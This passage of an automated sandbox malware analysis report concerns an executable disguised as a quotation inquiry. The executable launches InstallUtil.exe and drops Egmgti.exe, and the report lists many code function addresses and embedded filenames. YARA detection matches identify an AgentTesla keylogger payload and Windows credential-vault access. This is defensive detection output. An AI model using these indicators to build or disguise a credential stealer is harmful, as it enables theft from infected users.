Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_01388BB2	0_2_01388BB2
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_01380E18	0_2_01380E18
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_01380E18	0_2_01380E18
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_01380ED9	0_2_01380ED9
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_062D0048	0_2_062D0048
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06482D60	0_2_06482D60
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06484368	0_2_06484368
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06483087	0_2_06483087
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064985D0	0_2_064985D0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0649C9F0	0_2_0649C9F0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06499C28	0_2_06499C28
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06499C38	0_2_06499C38
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064985BF	0_2_064985BF
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06492918	0_2_06492918
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0649C9E0	0_2_0649C9E0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0649E988	0_2_0649E988
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0649E998	0_2_0649E998
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064CCF6D	0_2_064CCF6D
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064CBD10	0_2_064CBD10
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064C56A8	0_2_064C56A8
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064C3D6B	0_2_064C3D6B
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064CBD00	0_2_064CBD00
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064C539C	0_2_064C539C
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064C539C	0_2_064C539C
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064C98F8	0_2_064C98F8
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064C9908	0_2_064C9908
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0651EEE0	0_2_0651EEE0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06510040	0_2_06510040
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06510006	0_2_06510006
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06560AD0	0_2_06560AD0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06560AC0	0_2_06560AC0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_065B6F12	0_2_065B6F12
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_065B6288	0_2_065B6288
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_065B0448	0_2_065B0448
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_065B74D6	0_2_065B74D6
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_065B6278	0_2_065B6278
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_065B5AD0	0_2_065B5AD0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_065B5AC0	0_2_065B5AC0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_065B634C	0_2_065B634C
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_067AD620	0_2_067AD620
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_067AF8D0	0_2_067AF8D0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06790040	0_2_06790040
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06790007	0_2_06790007
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_067AC978	0_2_067AC978
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_062D0001	0_2_062D0001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_008D4A60	9_2_008D4A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_008D9C62	9_2_008D9C62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_008D3E48	9_2_008D3E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_008DCF28	9_2_008DCF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_008D4190	9_2_008D4190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_059956B0	9_2_059956B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_05990040	9_2_05990040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_05998D35	9_2_05998D35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_0599BCC8	9_2_0599BCC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_05993F28	9_2_05993F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_0599DBF8	9_2_0599DBF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_05992AE8	9_2_05992AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_0599321B	9_2_0599321B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 9_2_05994FD0	9_2_05994FD0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C0B28D	10_2_02C0B28D
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C0C694	10_2_02C0C694
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C0174C	10_2_02C0174C
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C08BC0	10_2_02C08BC0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C00B50	10_2_02C00B50
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C00E28	10_2_02C00E28
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C0E208	10_2_02C0E208
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C0E218	10_2_02C0E218
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C023C8	10_2_02C023C8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C05308	10_2_02C05308
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C050C5	10_2_02C050C5
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C02095	10_2_02C02095
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C02141	10_2_02C02141
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C08BB3	10_2_02C08BB3
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C048A0	10_2_02C048A0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C048B0	10_2_02C048B0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C0184A	10_2_02C0184A
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C00ED9	10_2_02C00ED9
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C00E62	10_2_02C00E62
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C00E18	10_2_02C00E18
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06252D60	10_2_06252D60
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06254368	10_2_06254368
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06253087	10_2_06253087
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_062685D0	10_2_062685D0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0626C9F0	10_2_0626C9F0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06269C28	10_2_06269C28
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06269C38	10_2_06269C38
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_062685BF	10_2_062685BF
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06262918	10_2_06262918
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0626E988	10_2_0626E988
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0626E998	10_2_0626E998
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0626C9E0	10_2_0626C9E0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629AD40	10_2_0629AD40
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629B898	10_2_0629B898
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_062956A8	10_2_062956A8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629AD30	10_2_0629AD30
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06293D6B	10_2_06293D6B
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06293A7D	10_2_06293A7D
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629FB28	10_2_0629FB28
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629FB38	10_2_0629FB38
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629539C	10_2_0629539C
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629539C	10_2_0629539C
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629B896	10_2_0629B896
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_062EEEE0	10_2_062EEEE0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_062E0006	10_2_062E0006
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_062E0040	10_2_062E0040
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06386F12	10_2_06386F12
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06386288	10_2_06386288
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06380448	10_2_06380448
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06386278	10_2_06386278
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06385AD0	10_2_06385AD0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06385AC0	10_2_06385AC0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0638634C	10_2_0638634C
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0657D620	10_2_0657D620
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0657F8D0	10_2_0657F8D0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06560040	10_2_06560040
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06560006	10_2_06560006
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0657C978	10_2_0657C978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_04B49C62	11_2_04B49C62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_04B43E48	11_2_04B43E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_04B4CF28	11_2_04B4CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_04B44A60	11_2_04B44A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_04B44190	11_2_04B44190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_05BB0040	11_2_05BB0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_05BBBCC0	11_2_05BBBCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_05BB2EE8	11_2_05BB2EE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_05BBDBF0	11_2_05BBDBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_05BB4FC8	11_2_05BB4FC8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_0113B28D	13_2_0113B28D
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_0113174C	13_2_0113174C
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_0113C694	13_2_0113C694
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_01130B50	13_2_01130B50
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_01138BC0	13_2_01138BC0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_01130E28	13_2_01130E28
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_01132141	13_2_01132141
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_01132090	13_2_01132090
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_011350C5	13_2_011350C5
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_01135308	13_2_01135308
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_011323C8	13_2_011323C8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_0113E218	13_2_0113E218
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_0113E208	13_2_0113E208
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_0113184A	13_2_0113184A
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_011348B0	13_2_011348B0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_011348A0	13_2_011348A0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_01138BB2	13_2_01138BB2
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_01130E18	13_2_01130E18
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_01130E62	13_2_01130E62
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_01130ED9	13_2_01130ED9
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F12D60	13_2_05F12D60
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F13087	13_2_05F13087
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F14368	13_2_05F14368
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F1028F	13_2_05F1028F
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F285D0	13_2_05F285D0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F2C9F0	13_2_05F2C9F0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F285BF	13_2_05F285BF
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F29C38	13_2_05F29C38
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F29C28	13_2_05F29C28
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F2C9E0	13_2_05F2C9E0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F2E998	13_2_05F2E998
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F2E988	13_2_05F2E988
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F22918	13_2_05F22918
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F5AD40	13_2_05F5AD40
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F5B898	13_2_05F5B898
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F53D6B	13_2_05F53D6B
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F5AD30	13_2_05F5AD30
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F556A8	13_2_05F556A8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F5B887	13_2_05F5B887
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F5539C	13_2_05F5539C
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F5539C	13_2_05F5539C
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F5FB38	13_2_05F5FB38
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F5FB28	13_2_05F5FB28
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05FA0040	13_2_05FA0040
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05FA0006	13_2_05FA0006
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05FAEEE0	13_2_05FAEEE0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_06046F12	13_2_06046F12
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_06046288	13_2_06046288
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_06040448	13_2_06040448
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_06046278	13_2_06046278
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_06045AC0	13_2_06045AC0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_06045AD0	13_2_06045AD0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_0604634C	13_2_0604634C
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_0623D620	13_2_0623D620
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_0623F8D0	13_2_0623F8D0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_06220006	13_2_06220006
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_06220040	13_2_06220040
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_0623C978	13_2_0623C978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_01664A60	14_2_01664A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_01669C68	14_2_01669C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0166CF28	14_2_0166CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_01663E48	14_2_01663E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_01664190	14_2_01664190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_066F56A8	14_2_066F56A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_066F0040	14_2_066F0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_066F2EE8	14_2_066F2EE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_066F3F20	14_2_066F3F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_066FBCC0	14_2_066FBCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_066F9A98	14_2_066F9A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_066F8B53	14_2_066F8B53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_066FDBF0	14_2_066FDBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_066F361B	14_2_066F361B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_066F4FC8	14_2_066F4FC8

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1313711510.00000000061C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameGmrpwqs.dll" vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000033F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000030D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000000.1257381639.0000000000D4E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMcttax.exe. vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1313349948.0000000006137000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMcttax.exe. vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7dfcfdf2-d881-49c9-a39e-708aca656f85.exe4 vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1292611368.000000000143E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1315500116.00000000066C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMcttax.exe. vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7dfcfdf2-d881-49c9-a39e-708aca656f85.exe4 vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Binary or memory string: OriginalFilenameMcttax.exe. vs inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 9.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 10.2.Egmgti.exe.3ee0f08.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.Egmgti.exe.3ee0f08.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
